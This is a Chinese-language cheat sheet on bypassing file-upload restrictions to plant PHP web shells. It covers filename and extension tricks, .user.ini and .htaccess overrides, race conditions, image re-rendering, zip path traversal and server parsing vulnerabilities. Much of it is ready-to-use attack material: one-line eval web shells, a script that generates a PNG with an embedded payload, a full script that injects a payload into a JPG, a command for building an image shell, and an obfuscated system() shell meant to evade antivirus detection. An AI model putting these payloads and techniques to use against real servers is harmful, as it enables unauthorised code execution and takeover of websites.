前端绕过
正常上传文件,捉取数据包修改
后端绕过
服务器端检测的绕过
windows特性
windows对文件名自动去掉点 空格 ::$DATA(这个是ntfs的特性)
利用这个特性绕过黑名单限制
函数特性
move_uploaded_file函数会自动去除文件名末尾的点 和 /.
fopen函数特性
<?php
$filename='1.php/.';
$content="<?php eval($_POST[1]);?>";
$f = fopen($filename, 'w');
fwrite($f, $content);
fclose($f);
?>
#会在当前目录生成1.php,文件名为1.php.也可以
其它
后缀名大小写
后缀名双写
尝试php3 phtml php3457(linux+apache+php5.6)等后缀
检测MIME类型的,捉包改MIME类型
覆盖配置
.user.ini
上传.user.ini文件覆盖php.ini文件配置
使用auto_prepend_file与auto_append_file在所有php页面的顶部与底部require文件
auto_prepend_file=1.png #与.user.ini配置文件同目录的php文件都会在顶部require('1.png')
.htaccess
上传.htaccess文件覆盖apache文件配置
AddType application/x-httpd-php .php .phtml .php3 .png #把png文件当作php文件解析
AddHandler php5-script php #当文件名中出现php关键字时,文件中的内容会被当中代码执行
<FilesMatch "ajest">
SetHandler application/x-httpd-php
</FilesMatch> #匹配文件名,当文件名为ajest时,里面的代码会被执行
条件竞争
对上传的文件处理出现逻辑问题
比如上传的文件先移动再对检测不通过的文件删除
数组绕过
上传文件的名称分割成数组再进行检测,检测完成后再进行名称拼接
利用检测和拼接直接存在的逻辑漏洞,进行绕过
二次渲染
上传的图片马经过二次渲染后代码被过滤掉
GIF绕过
对比上传后的GIF图片和未上传的GIF图片之间未变化的部分,在未变化的部分写入一句话
png绕过
<?php
/*<?$_GET[0]($_POST[1]);?>*/
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'1.png');
?>
安装gd库
sudo apt-get update
sudo apt-get install php-gd #脚本运行需要gd库
运行脚本
php 脚本名 #生成图片内含代码<?$_GET[0]($_POST[1]);?>
jpg绕过
<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = '<?=eval($_POST[1]);?>';
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
用法:
先上传一张jpg图片,并把上传的图片下载到本地
php 脚本名 下载到本地的图片名
可参考:https://www.cnblogs.com/forforever/p/13191999.html
压缩包上传
tar上传
先留着吧
zip上传
当WEB服务器对压缩包直接解压时,可以上传zip文件getshell
把1234.php压缩为shell.zip
010把zip中的1234.php换成…/1.php(1234四个字符对应…/1四个字符,可以随意更改)
上传即可在zip上一级目录生成1.php文件
文件头检测
getimagesize
getimagesize函数检测图片大小的同时检测目标文件是否是一张图片,去读取头几个字符串是不是符合图片的要求
更改数据包修改函数检测到的图片大小
#define width 1337
#define height 1337 #放在文件头,但是如此无法绕过检测,水平有限,待探究吧
制作图片马绕过检测:
copy smile.jpg/b+info.php/a smile_info.jpg
文件头(16进制转ascii码)加上一句话
图片详细信息中加入一句话
exif_imagetype
exif_imagetype函数读取一个图像的第一个字节并检查其签名
制作图片马绕过
文件内容检测
检测文件的内容
PHP标签
php其它写法绕过检测php关键字
第二种写法php7无法执行
php5可以执行
免杀绕过
初级免杀:
<?php
$poc="s#y#s#t#e#m";
$poc_1=explode("#",$poc);
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_REQUEST['1']);
?>
上传.user.ini包含日志文件,一句话写入日志文件
上传.user.ini包含session文件配合条件竞争
漏洞
这里只统计漏洞
00截断
条件:
php版本小于5.3.4
关闭magic_quotes_gpc
Apache多后缀解析漏洞
该漏洞和apache版本和php版本无关,属于用户配置不当造成的解析漏洞,尤其是使用module模式与php结合的所有版本
如果运维人员给.php后缀增加了处理器:AddHandler application/x-httpd-php .php。那么,在有多个后缀的情况下,只要一个文件名中包含有.php后缀,将会被识别成PHP文件,没必要是最后一个后缀
IIS6.0解析漏洞
IIS默认解析后缀有.asa .cdx .cer
IIS6.0版本存在解析漏洞
CGI解析漏洞
利用条件:
开启cgi.fix_pathinfo
IIS7.0/7.5+php环境
Nginx CGI
Nginx 空字节漏洞
影响版本:0.5.*, 0.6.*, 0.7 <= 0.7.65, 0.8 <= 0.8.37
CVE-2013-4745
影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
CVE-2017-15715
影响版本:apache2.40~2.4.29
部分利用可参考:https://www.2cto.com/Article/201309/240797.html
先总结这些吧
这一天真是糟糕透了